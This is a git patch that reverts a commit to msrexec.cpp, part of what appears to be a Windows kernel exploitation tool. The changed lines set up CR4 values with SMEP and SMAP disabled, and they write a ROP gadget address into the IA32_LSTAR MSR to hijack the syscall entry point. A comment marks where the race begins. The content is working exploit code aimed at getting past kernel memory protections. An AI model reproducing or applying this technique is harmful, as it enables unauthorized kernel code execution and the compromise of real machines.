From 075d5e520c21fa297240fa09fd000334ca2d5835 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Wed, 24 Feb 2021 02:34:15 +0000 Subject: [PATCH] Revert "Update msrexec.cpp" This reverts commit fe079cee539a3105dfe3dddfef21aa56aeff3b1e --- msrexec.cpp | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/msrexec.cpp b/msrexec.cpp index e57abd0..27e16db 100644 --- a/msrexec.cpp +++ b/msrexec.cpp @@ -46,8 +46,14 @@ namespace vdm .process_context_identifiers; m_smep_off.flags = cr4_value.flags; - m_smep_on.flags = cr4_value.flags; + m_smep_off.smep_enable = false; + // if your cpu supports SMAP and your on 19H1 or above SMAP will be used... + m_smep_off.smap_enable = false; + + // WARNING: some virtual machines dont have SMEP... + // my VMWare VM doesnt... nor does my Virtual Box VM... + m_smep_on.flags = cr4_value.flags; m_smep_on.smep_enable = cpuid_features.ebx.smep; m_smep_on.smap_enable = cpuid_features.ebx.smap; @@ -179,7 +185,7 @@ namespace vdm SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); - // set LSTAR to first rop gadget... + // set LSTAR to first rop gadget... race begins here... if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget)) std::printf("> failed to set LSTAR...\n"); else